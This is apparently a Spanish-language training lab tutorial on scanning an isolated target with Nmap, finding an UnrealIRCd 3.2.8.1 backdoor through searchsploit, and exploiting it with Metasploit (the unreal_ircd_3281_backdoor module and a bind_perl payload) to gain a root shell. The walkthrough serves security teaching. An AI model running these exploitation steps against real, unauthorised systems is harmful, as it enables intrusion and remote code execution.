Uso de Nmap para escanear y explotar vulnerabilidades en un host objetivo

NmapBeginner
Practicar Ahora

Introducción

El escaneo de redes es una disciplina eminentemente práctica. A través del escaneo de redes, los usuarios pueden descubrir los puertos asignados a diversos servicios en el host objetivo, los servicios abiertos, el software de servicio y sus versiones, entre otra información.

En este laboratorio, aprenderás a escanear las vulnerabilidades de seguridad de los servicios de red de un host objetivo.

Uso de Nmap para escanear puertos abiertos en el host objetivo

El flujo de trabajo básico del escaneo de redes es el siguiente:

  1. Descubrir el host objetivo
  2. Escaneo de puertos
  3. Escaneo de información de huella digital (fingerprinting)
  4. Escaneo de vulnerabilidades
  5. Ejecución de ataques de penetración

Nmap (Network Mapper) es una potente herramienta de escaneo de redes. Admite diversas técnicas de escaneo, como UDP, TCP connect(), TCP SYN (escaneo semiabierto), proxy FTP (ataque de rebote), flag inverso, ICMP, FIN, ACK, SYN y escaneo nulo.

En este paso, utilizarás Nmap para escanear los puertos abiertos en el host objetivo. La configuración del laboratorio ya ha iniciado el servicio vulnerable de entrenamiento en 192.168.122.102, por lo que tu escaneo debería encontrar un host activo en lugar de informar que el objetivo está caído.

  1. Abre una terminal y entra en el contenedor de Kali:
docker run -ti --network host b5b709a49cd5 bash
  1. Utiliza el comando nmap para escanear el host objetivo 192.168.122.102:
nmap -p 6667 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Este comando escanea el puerto 6667 en el host objetivo, utiliza una política de temporización más rápida, habilita la detección de versiones y guarda la salida en /tmp/report.txt.

Análisis de los resultados del escaneo

Después de escanear el host objetivo, debes analizar los resultados para identificar posibles vulnerabilidades.

  1. Visualiza el informe del escaneo:
cat /tmp/report.txt

Este comando muestra el contenido del archivo /tmp/report.txt, que contiene información sobre los puertos abiertos, los servicios y las versiones en el host objetivo. Un escaneo exitoso debería mostrar que el host está activo y que el puerto 6667 está abierto, de forma similar al siguiente ejemplo:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Discovered open port 6667/tcp on 192.168.122.102
Nmap scan report for 192.168.122.102
Host is up.

PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd 3.2.8.1

Service Info: Host: labex-target
  1. Utiliza la herramienta searchsploit para buscar información sobre vulnerabilidades:
searchsploit unreal ircd

Este comando busca en la base de datos de exploits (Exploit Database) vulnerabilidades relacionadas con el servicio "unreal ircd". Aquí tienes un ejemplo de la salida que podrías ver:

---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                    | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                         | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                  | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                                       | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  1. Visualiza los detalles de una vulnerabilidad:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb

Este comando muestra el contenido del archivo de explotación de la vulnerabilidad ubicado en /usr/share/exploitdb/exploits/linux/remote/16922.rb.

Explotación de una vulnerabilidad

Tras analizar los resultados del escaneo e identificar posibles vulnerabilidades, puedes intentar explotar una de ellas para realizar un ataque de penetración.

  1. Identifica una vulnerabilidad explotable a partir de los resultados del escaneo. Por ejemplo, supongamos que el escaneo encontró el puerto 6667 abierto con un servicio vulnerable.

  2. Inicia Metasploit Framework:

cd ~
msfconsole
  1. En la consola de Metasploit, selecciona el módulo de exploit adecuado:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Configura la dirección IP del host objetivo:
set RHOST 192.168.122.102
  1. Configura el payload:
set PAYLOAD cmd/unix/bind_perl
  1. Lanza el exploit:
exploit

Si la explotación tiene éxito, obtendrás acceso al host objetivo.

  1. Después de intentar explotar una vulnerabilidad, debes verificar si la explotación fue exitosa. En la sesión de Metasploit, comprueba el usuario actual y el nombre del host:
whoami
hostname

Si la salida muestra que has iniciado sesión como usuario root, la explotación fue exitosa. En este laboratorio, el servicio vulnerable se ejecuta dentro de un espacio de nombres de red aislado en la máquina virtual de entrenamiento, por lo que la salida de hostname mostrará el nombre de host de la máquina virtual de LabEx actual en lugar del nombre de una máquina invitada independiente.

Presiona Ctrl+D para salir de la consola de Metasploit y luego inicia la inspección

Resumen

En este laboratorio, aprendiste el flujo de trabajo básico del escaneo de redes, que incluye el descubrimiento del host objetivo, el escaneo de puertos, el escaneo de información de huella digital, el escaneo de vulnerabilidades y la ejecución de ataques de penetración. Utilizaste la potente herramienta Nmap para escanear los puertos abiertos en el host objetivo y analizaste los resultados para identificar posibles vulnerabilidades. Además, aprendiste a buscar información sobre vulnerabilidades utilizando la herramienta searchsploit y cómo explotar una vulnerabilidad mediante Metasploit Framework. Finalmente, verificaste el éxito de la explotación comprobando el usuario actual y el nombre del host en el objetivo.

A través de este laboratorio práctico, has adquirido experiencia real en el escaneo de vulnerabilidades de seguridad en servicios de red y en la ejecución de ataques de penetración. Este conocimiento es crucial para garantizar la seguridad de los sistemas de red e identificar riesgos potenciales.